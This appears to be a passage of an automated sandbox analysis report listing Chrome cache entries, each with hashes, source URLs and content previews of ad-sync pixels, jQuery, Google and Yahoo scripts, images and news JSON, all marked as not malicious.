Excluded domains from analysis (whitelisted): tags.bluekai.com.edgekey.net, fp4.ads.stickyadstv.com.akadns.net, a267.g.akamai.net, uipglob.trafficmanager.net, ka-f.fontawesome.com.cdn.cloudflare.net, slscr.update.microsoft.com, a-us-west.rfihub.com.akadns.net, usersync-geo-global.usersync-prod-sas.akadns.net, clientservices.googleapis.com, beacon-iad2.rubiconproject.net.akadns.net, tps-geo.dvgtm.akadns.net, e9126.x.akamaiedge.net, l-0005.l-msedge.net, cdn.doubleverify.com.edgesuite.net, gocm-geo.c.appier.net.akadns.net, clients2.google.com, ocsp.digicert.com, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, www.gstatic.com, rtb-csync-geo.usersync-prod-sas.akadns.net, fonts.googleapis.com, fs.microsoft.com, e8960.b.akamaiedge.net, content-autofill.googleapis.com, ajax.googleapis.com, c-bing-com.dual-a-0034.a-msedge.net, pixel-us-east.rubiconproject.net.akadns.net, pagead2.googlesyndication.com, edgedl.me.gvt1.com, c.bing.com, rtb.adgrx.com.tech.akadns.net, e6603.g.akamaiedge.net, eus.rubiconproject.com.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	121190
Entropy (8bit):	5.548115037385416
Encrypted:	false
SSDEEP:	3072:Z5YOY+jxYozYwyYl+4WnNFzGMFTfYYYQjAH4ve:Z5YOY+jDzYwyYlKfYYYQjXe
MD5:	F2F2C5103AD1A79D0F229D28E1C86735
SHA1:	38F5C447C3D43C965159A70381B96B0D06CFBA23
SHA-256:	0E4F5E5332C72A63AC69D2EA929F7BB7876411B0B0552002DCAFAE5DD7BE67D8
SHA-512:	2CB022244D3B669786D98C36D08472A7A794B21BB10EEB1E78894E545326353042C74622297DAD9B9F36E9816C43771EBDC077700337A6A190A3D5B28153C10B
Malicious:	false
Reputation:	low
URL:	"https://www.yahoo.com/caas/content/article/?uuid=ed2efbf7-2409-3dd8-9184-510525a2f72c,0faa4615-2120-3751-857c-024e291eeb87,d098fa67-1f57-32a9-a8c8-0b53747f9c8c&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA&rid=1sbetl5j2qvpa"
Preview:	{"items":[{"data":{"partnerData":{"adMeta":{"hashtag":"football","isSupplySegment":"false","lang":"en-US","region":"US","rs":"lmsid:a0ad000000EcR3JAAV;revsp:ap.org;lpstaid:ed2efbf7-2409-3dd8-9184-510525a2f72c;pt:content;pd:modal;ver:megastrm;pct:story","site_attribute":"wiki_topics=\"Kansas_City_Chiefs;Arrowhead_Stadium;Kauffman_Stadium;Clark_Hunt;Sales_tax;The_Royals_%28TV_series%29;Renovation;Truman_Sports_Complex;Jackson_County,_Missouri\" ctopid=\"2074500;2078500;2096000;2212000;2253000\" hashtag=\"2074500;2078500;2096000;2212000;2253000\" rs=\"lmsid:a0ad000000EcR3JAAV;revsp:ap.org;lpstaid:ed2efbf7-2409-3dd8-9184-510525a2f72c;pt:content;pd:modal;ver:megastrm;lu:0;pct:story\"","spaceid":"1197792446","site":"sports","enabled":true,"pos":"","showBodyAds":false,"showPhotoAds":false},"alias":"ymedia-alias:shadow=chiefs-owner-says-leaving-arrowhead-212315197","canonicalUrl":"https://sports.yahoo.com/chiefs-owner-says-leaving-arrowhead-212315197.html","categoryLabel":"Sports","commentsAll

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (29345)
Category:	downloaded
Size (bytes):	38197
Entropy (8bit):	5.423746569372578
Encrypted:	false
SSDEEP:	768:hT/tQTKBIMtCGsOpYfkh2qGBS1+2Rfz4wDQjZvy/UQWwY4RXrqt:hrtQuBZtCG9Y/BSI29DQjZK/UQWwY4RY
MD5:	CF9C4162073918EC2EA0E64F66EF5C69
SHA1:	50C1A449398A15738FC8E646072F60AA817156E3
SHA-256:	9752238542B51CE2EA2EB001474A1783FDEEB9978B9927BED6B722E016F2F605
SHA-512:	5C5535779E1D72DD00F7E0404CB518833FFED767E41ADDBEEBD866198CFA3B69DF49FA7577E7E3CE04C7B11FA658FDC022F42099B3CDF5DF066A836E4863847B
Malicious:	false
Reputation:	low
URL:	https://contextual.media.net/checksync.php?vsSync=1&cs=9&cv=31&https=1&cid=8CU2K123F&prvid=2034%2C2031%2C2030%2C550%2C233%2C2028%2C2027%2C236%2C2025%2C2069%2C237%2C117%2C97%2C55%2C99%2C3012%2C3010%2C244%2C201%2C2039%2C3007%2C246%2C4%2C126%2C203%2C326%2C9%2C2012%2C2055%2C172%2C3020%2C251%2C175%2C450%2C2009%2C178%2C3018%2C3017%2C214%2C459%2C70%2C77%2C38%2C2023%2C2022%2C141%2C262%2C461%2C222%2C10000%2C80%2C108&itype=PREBID&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN&gpp=DBAA&gpp_sid=-1
Preview:	<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":151,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":31536000,"cc":"US","zone":" e ","coc":"NA"},"cs":"9","lookup":{"rbcn":{"name":"rbcn","time":180,"cookie":"data-r","urls":[{"type":"iframe","url":"https:\/\/secure-assets.rubiconproject.com\/utils\/xapi\/multi-sync.html?p=medianet","eu_url":null}],"pvid":29,"isBl":0,"g":1,"cocs":0},"son":{"name":"son","time":28,"cookie":"data-so","urls":[{"type":"img","url":"https:\/\/sync.go.sonobi.com\/us?https:\/\/contextual.media.net\/cksync.php?cs=9&vsid=<vsid>&type=son&refUrl=<refUrl>&vid=<vid>&axid_e=<axid_e>&ovsid=[UID]","eu_url":null}],"pvid":35,"isBl":0,"g":1,"cocs":0},"con":{"name":"con","time":364,"cookie":"data-co","urls":[{"type":"img","url":"https:\/\/medianet-match.dotomi.com\/match\/bounce\/current?version=1&networkId=57734&gdpr=${GDPR}&gdpr_consent=${GDPR_CONSENT}&redir=https%3A%2F%2Fconte

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, WAVE audio, IEEE Float, stereo 44100 Hz
Category:	downloaded
Size (bytes):	85336
Entropy (8bit):	7.402515364470518
Encrypted:	false
SSDEEP:	1536:cc/sLIWm0N5TTkS8NjHCEr3pReyJ0TFJz1fLtGCJL7:fsNdkSWH/0TFJzhLtTJX
MD5:	F35AD0C20D2F7E02B99E4866A98989D1
SHA1:	7E9960316F3EB5BC7B5F2FDA0B761ACF0CA898B1
SHA-256:	86145E56E9B4BD3A42E3DDF6B7CB6BC8E9372891AA5BAE35EA0F3FACDA3C99AA
SHA-512:	253FE78F7EA21143F4C8D0FEDBB29EB3DEBF6B08E5ECAB1CF2A4C0DEE1F80D9A870E6847AA9FB9A39D8D2F4E601594B633869B2FE77F8A1C3363372E6FF477CB
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/pv/static/misc/voice-error-202105050733.wav:2f75b202d98610:0
Preview:	RIFFPM..WAVEfmt ........D... b.... .dataX...T'%.wwj.4.!...c..9...Z.....G]Q..L....G.....g.;...}./.-....#.S+...~.....9....h....0.............3.....aX..a.`.D7.b....G84......8@].?e.8.l 9~..9.C.9.X&9q.+:.j=9.ul:..S9w4.:HQj9...:H9.9.T.:V..9.1.:A.9>..;...9.U.;.].9.";.g.9...;p..9..:;.H.:..E;...:..O;.r.:J8Y;1u":..a;.Q+:..i;..2:.so;..8:Q.t;r.<:..x;.V?:..{;o.?:.};..>:. ~;..;:.v};(.6:.{;.a0:{.x;.(:Y.t;u..:..o;...:w.i;...:.pb;.&.:r^Z;.n.9.YQ;...9HjG;A..9R.<;...9..1;42.9..$;...9...;...9ZD.;...9.d.:.V.9sM.:jHx9.S.:.i]9..:..?9..~:s .9.=:[..8...9Ud.8..e9.:.8A..........B...Q)..a...s.R..?C..#..\..4P......l..j{...=.9.N...j...Y...YU.........Z+.d....\7.."...B..Q'...L.I.*.-.U.~J,...^...,.<+e...,..3k.?W+.-/p...)..#t..b'...w...%...x..."...y... .Z.y.....L.x......Ov..`....s..2....n..2...Mi..!..h.b.x....[..0...9S.<...`.J.`...C.?.....].5..c..)I).7{...... ..g...c.eX...5...?.y..J...Rm.y...v[,......l...K..5..w......7.E..z..8.;J..$.9s4~9.yN9...: ..9N:C:..9..:.J.9vy.:..9nR.:t&.9

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://ade.googlesyndication.com/ddm/activity/dc_oe=ChMI_7qh2bvjhQMV9w-ICR26FQNuEAAYACDm7MNl;dc_eps=AHas8cCccYCQQq71XGN3tPZUBeJsJC9-DC-O9xK9DShCOjdjBemNKiSD65Fd2jilYvSSMUIQbdmPBGKKDAr7xeRHl5A;met=1;&timestamp=1714257745665;eid1=871060;ecn1=1;etm1=0;eid2=2;ecn2=1;etm2=10;
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1746)
Category:	downloaded
Size (bytes):	163891
Entropy (8bit):	5.55061820245277
Encrypted:	false
SSDEEP:	3072:S0eiNiuzs8v4HHKWY8s1BgP4IDQ9GURWu8zylA/u8PemUPhDlaY/ADiZ65LpK629:S0eMhzvwHHKWY8s1BgP4IDQ9GURWu8UD
MD5:	0282D5C4C6038FCEB2FF8607EDAC81A4
SHA1:	62EBF05C33F8A3115C208BB4D5CE9B38F6D06447
SHA-256:	AAAF17E8ED9C8DD5D1B69C8BBB617600A768256654C076F760E09C6047973371
SHA-512:	E21D25042E41527B62E80F9D9B82B85B915BA6D0698B2FFA5D8D59115F764770D1DE2108B72D82D57BFB7A8D4406FB53D091C1DC6D8BD03BED3BCA29CEFD0EAD
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.oT1FwJRCVC4.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTvBynad-nWEy1xIb9j1w6LpLOF6IQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.nj=function(a,b,c){return c?a\|b:a&~b};_.oj=function(a,b,c,d){a=_.hb(a,b,c,d);return Array.isArray(a)?a:_.lc};_.pj=function(a,b){a=_.nj(a,2,!!(2&b));a=_.nj(a,32,!0);return a=_.nj(a,2048,!1)};_.qj=function(a,b){0===a&&(a=_.pj(a,b));return a=_.nj(a,1,!0)};_.rj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.sj=function(a,b,c){32&b&&c\|\|(a=_.nj(a,32,!1));return a};._.tj=function(a,b,c,d,e,f){var g=!!(2&b),h=g?1:2;const k=1===h;h=2===h;e=!!e;f&&(f=!g);g=_.oj(a,b,d);var l=g[_.v]\|0;const n=!!(4&l);if(!n){l=_.qj(l,b);var p=g,r=b,t;(t=!!(2&l))&&(r=_.nj(r,2,!0));let C=!t,X=!0,P=0,H=0;for(;P<p.length;P++){const O=_.Sa(p[P],c,r);if(O instanceof c){if(!t){const Fa=!!((O.ma[_.v]\|0)&2);C&&(C=!Fa);X&&(X=Fa)}p[H++]=O}}H<P&&(p.length=H);l=_.nj(l,4,!0);l=_.nj(l,16,X);l=_.nj(l,8,C);_.wa(p,l);t&&Object.freeze(p)}c=!!(8&l)\|\|k&&!g.length;if(f&&!c){_.rj(l)&&(g=_.va(g),l=_.pj(l,.b),b=_.gb(a,b,d,g));f=g;c=l;for(p=0;p<f.length;p++)l=f[p],r=_.eb(l),l

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CU9yltxlHh/:m/
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
Reputation:	low
URL:	https://ads.yieldmo.com/v000/sync?userid=1476058396850158061&pn_id=an
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5636), with no line terminators
Category:	downloaded
Size (bytes):	5636
Entropy (8bit):	5.265735267819504
Encrypted:	false
SSDEEP:	96:RAnbGg2U2OUK1yZ4YHPEppcIzvxpJ3xIzpNxv+S6hmAPm6UO5OUK3YvE0m6i5xDc:eCgl104YHPEppc+vxpJ3xMpNZgdWGEiv
MD5:	0CCB51BC1DD6980920DA39E008A599E0
SHA1:	929B21AC5A628A05E9F87A8E734954D90F1EE093
SHA-256:	B168BE397AC36DBCA02B07547DAD2A928427E765DF9B49A931F05DB057F3A83C
SHA-512:	665527069009017AB5B2ACAB0EE764052C84672451CCE9189961420E38239C3C63852D60366952BDFF92DECB3610BD8ABE6BDD44A5B8F89CF51CEF04445F2267
Malicious:	false
Reputation:	low
URL:	https://edge-mcdn.secure.yahoo.com/ybar/cerebro_min.js
Preview:	var WORK_SERVER="https://edge-mcdn.secure.yahoo.com/ybar/exp.json",TIMEOUT=2e3,Cerebro=function(){function e(){this.uploadType="individual",this.expCount=0,this.pending={},this.complete=0}return e.runExperiment=function(){(new e)._fetchWork()},e.sendBeacon=function(){this.runExperiment()},e.prototype._extractResourceTiming=function(n){var t="",t="[";return["startTime","redirectStart","redirectEnd","fetchStart","domainLookupStart","domainLookupEnd","connectStart","secureConnectionStart","connectEnd","requestStart","responseStart","responseEnd"].forEach(function(e){t+=n[e]+","}),t=t.slice(0,-1)+"]"},e.prototype._extractHeader=function(n,e){if(0==e.length)return"{}";var t="{";return e.forEach(function(e){t+='"'+e+'":"'+n.getResponseHeader(e)+'",'}),t=t.slice(0,-1)+"}"},e.prototype._fetchWork=function(){var n=this,r=!1;new Promise(function(n,t){var o=setTimeout(function(){r=!0,t(new Error("Work Order Request Timed Out"))},TIMEOUT);fetch(WORK_SERVER).then(function(e){clearTimeout(o),r\|\|n(e)

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (730)
Category:	downloaded
Size (bytes):	929
Entropy (8bit):	5.456500607029421
Encrypted:	false
SSDEEP:	12:2ebxkC6DVU4dxhwVVIn2bFfN9VXa/bXl2zW2M4pYq9F2Ukn1SoRjb7irK+c87kjr:2e2C6hHfhiVInhbrT4qe2RSOJ+tEIKj
MD5:	29E0ADBC654F336164878100AF73D048
SHA1:	9FAB9EB7FEE6E6C9479006660295370720A98B06
SHA-256:	139B780CB7795FD4D8EF062C72234CCFE00102DBC1F83B4E23EBACBA5C51CD2E
SHA-512:	935E7C6CADB60F0356DEEF71399555D94A794B315B2D48AE3D50CB5EF671724D60704E76872DF5116DDE97A6DEAED05E4F3946D47EA6AAF6B0E8F562B3E15F1C
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/cm?id=dc2068a3-fa3d-4b5f-8a61-3d5a1a58fc05&ph=21f03281-5b83-4670-a0e0-dc15f7542014&r=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D76%263pid%3D%7BOPENX_ID%7D&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1
Preview:	<html>.<head><title>Pixels</title></head>.<body>.<script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script>..<img src="https://ce.lijit.com/merge?pid=76&3pid=a8449da5-27e8-0e73-065f-6ffb18084fa4&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1"><img src="https://pixel-sync.sitescout.com/dmp/pixelSync?nid=4&gdpr=0"><img src="https://pixel.tapad.com/idsync/ex/receive?partner_id=1955&partner_device_id=c2d43099-965b-09f9-0b02-418b5335b1fa"><img src="https://ups.analytics.yahoo.com/ups/58294/sync?_origin=1&uid=ea6ec0ec-1536-0e37-12c4-1857f71a849f"><img src="https://us-u.openx.net/w/1.0/cm?id=e508c905-ddce-4732-92a4-0b0f5b72a28f&r=https%3A%2F%2Fid.rlcdn.com%2F464246.gif%3Fpartner_uid%3D%7BOPENX_ID%7D"><img src="https://ib.adnxs.com/getuid?https://us-u.openx.net/w/1.0/sd?id=537072399&val=$UID"><img src="https://ad.turn.com/r/cs?pid=9&gdpr=0">..</body>.</html>.

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	8144
Entropy (8bit):	7.877177563092644
Encrypted:	false
SSDEEP:	192:yGJCyf0217Ts9Dd4LEuCrSkt00crLCWhlMaYLcKCGWXqxzUeLt9lxvtMr:3JCy821fkKvBk1creFcTqZUeZZFMr
MD5:	FB4CCC91F5E68B5F33598E14B07EDFC6
SHA1:	B495749D1409147BA0B8D8761C36DD60574B788A
SHA-256:	E55E0B1E70C228FE7092564DEF5A3006F3BADB6A48145ADB59DA6D8893A9F667
SHA-512:	11F12A109BFB903E111EE572ED3E12EB96C0CCFFA6CE979BBAB577B6EF10757356DB3D4A21212504D1B5756EB033AC62CF421BB300FAB221A75ED0472E4311A5
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/qEbq1mD293sfBSM0hh9GaQ--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/851b4400-04d0-11ef-87f7-96750d986e06.cf.webp
Preview:	RIFF....WEBPVP8X.... ...c.....ICCP0......0ADBE....mntrRGB XYZ .........3.;acspAPPL....none...........................-ADBE................................................cprt.......2desc...0...kwtpt........bkpt........rTRC........gTRC........bTRC........rXYZ........gXYZ........bXYZ........text....Copyright 2000 Adobe Systems Incorporated...desc........Adobe RGB (1998)................................................................................XYZ .......Q........XYZ ................curv.........3..curv.........3..curv.........3..XYZ ..........O.....XYZ ......4....,....XYZ ......&1.../....VP8 r........d...>y8.H..""%.k....M....A..!.x....VGRK[.s..yc{.t.T_.7.y..........+....Sg._.....6..42....b7....z......z..U......S0..?.=..q..`?...}..5..w.....?D.H,.._..\|.z.F.{.h..t...M`WW!W....j.1`.m2#.....+J.u.n..o...\|.....+,K..?.I9+O....P..y.>..b.a.. ...8Xr.c...bX..d.ccg....Qw_v.I.Qh._..0.=s{....c(W..7...P..v.T............%v....P}.....5......h...z.#.x.Q....@%...y...%.M..aLf.f..i..

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	4.893465587106643
Encrypted:	false
SSDEEP:	24:Yh0Z9NoV+DgP6vsDPT6ADg44a/NRADN/qF/N/HgSoZN/W5icpCyrN/NMjGWJN/vn:Yy9NocDgP6qPT6ADg44wRMN/qZN/HgvT
MD5:	5109C5D8BFE521C890522854D9B98493
SHA1:	ECF57BECF156AE35354CC71B1D9635F6E6D47E3E
SHA-256:	268E99D5EDAA326972885E99F86DF7FEA12BC5BFA9E6475F59DF086C902AFC11
SHA-512:	B954D2256C3A8F40E1A8308F1139E8FD8B67437B0E0BB6E5D6A881988885545A8C43A69F26C8036138715D1D747EC740032476B689973A01F21E5B8AF1438DE2
Malicious:	false
Reputation:	low
Preview:	{"assets":{"css":[{"location":"top","value":"/aaq/cprops/colors_1.1.27.min.css","name":"custom-properties","version":"1.1.27"},{"location":"top","value":"/aaq/fp/css/react-wafer-shopping.ShoppingContent.atomic.ltr.451c40b3a0322b48dbc58fbf0d98ee96.min.css","name":"react-wafer-shopping.ShoppingContent.atomic"},{"location":"top","value":"/aaq/fp/css/react-wafer-shopping.custom.desktop.fdf1fc8fe6bc6d08523f7958b8edf2b5.css","name":"react-wafer-shopping.custom.desktop"}],"js":[{"location":"bottom","value":"/aaq/wf/wf-core-1.65.0-modern.js","name":"wafer-core","version":"1.65.0"},{"location":"bottom","value":"/aaq/wf/wf-toggle-1.15.4-modern.js","name":"wafer-toggle","version":"1.15.4"},{"location":"bottom","value":"/aaq/wf/wf-fetch-1.19.1-modern.js","name":"wafer-fetch","version":"1.19.1"},{"location":"bottom","value":"/aaq/wf/wf-caas-1.36.2-modern.js","name":"wafer-caas","version":"1.36.2"},{"location":"bottom","value":"/aaq/wf/wf-image-1.4.0-modern.js","name":"wafer-image","version":"1.4.0"

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 536x284, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	27238
Entropy (8bit):	7.992861593966769
Encrypted:	true
SSDEEP:	768:yGq0SIBUliZit6BB7B4xvu+NCy5FzcEh7e:y4BUkZit6PwvuUCy5Ne
MD5:	09FD661D13CA2E2FD8CE9B43D07F43CC
SHA1:	681CE083E2568B5FA01D8B72143B5F6C7269F19B
SHA-256:	EA89DEBB39F0A1E576872B33E249109F83DA25997672CDE136B3C09737BF74C3
SHA-512:	1A79A4C7A69807E5F0F46C10F9A38C4322F0ED4DC79FB18F18F99AA890494810E39A6B02EDDF6E9A275B4C9F8838DCA2F2B029E4BE781DD296A296C02B705452
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/ZIWiYPSpTqkV1ID50tQY3g--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/cnn_articles_875/7868482ad7432882868004637e3628f8.cf.webp
Preview:	RIFF^j..WEBPVP8 Rj..0d.......>y4.F.."!-......M........x.&...>...?NO..z]....O}?K..F\|.z..9.........w.'.o..M/.._>Pbk._\...O.6'.N.k..L{X........?..L.......~W..<........?.<9.+.o.#...7.>R.w.....7.t.?..s`.=s..........u..5....H9F^..1...2.x..2.z.x=....G.Z[0/._.,...n4....x?LYu..,9.x........V.gW?+...C..9..$....../P..%-...D&..._.h......L>....h3;^..F\K.[>.I..3+J.~.+.{.....O2...W.+.V.73.b...T..d...3 0f..4n.f........E%...G.J+..V[.?.?xfR.W2....1....D.Q*...3."..N....t.X.. .....}..iE...>....$c..Xn..{.)kH..uwq..../.x.O+5o..dm..PY.....7..h.)..0$.Z...zef.....}l.......gH[8..gYYcH.V...........uzv[....dSM.,....(........!.q.KO"O..w..e...Ax$.. .u t.......:..%..0+e...9r.E..22..L..q...Bwq.U..f<8#.t3.I....c...o.~......;gO...`.i..x.i.5...U..0..;..........Vu...."8...3......TJ(3...#b..!....../..c.r..\.5.P.:.J............n.8.3...g.\|..0...w..g.K.-..N.}..j<o...m..-s.....Cs....Z0..h.Z....A.=Q+....9.s.....i...3#.!...B.2.V.....x.S..I.~..."e...wb...$.....F.It....r.O$

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (645), with no line terminators
Category:	downloaded
Size (bytes):	645
Entropy (8bit):	5.100314231589721
Encrypted:	false
SSDEEP:	12:kxP4L8BM4FoCpbqWGYsH8KBG6FkKOWGQL8BM4ZpbqWGZc+L8BM4ZeDWQ:kDB7FokGfcKBG6FkKNGVB/GZqBtQ
MD5:	3B14B86F97F7D1E66C05D48E3852657C
SHA1:	C5C7B255084724A7399FB52A9204E0608FB8A6B5
SHA-256:	A08ACD55BB001AA85CED7F4F93A4A1446CA18A17689E872B59A9DA81EBE0CD45
SHA-512:	05C7CAFC0A2BE52A377858A7869E0AB276604C7E873042C9CE2BF9D0ED1E7BAF451156D457738907049C92CB340D9B80F160F8E602E030CF65EB653A2F0786D6
Malicious:	false
Reputation:	low
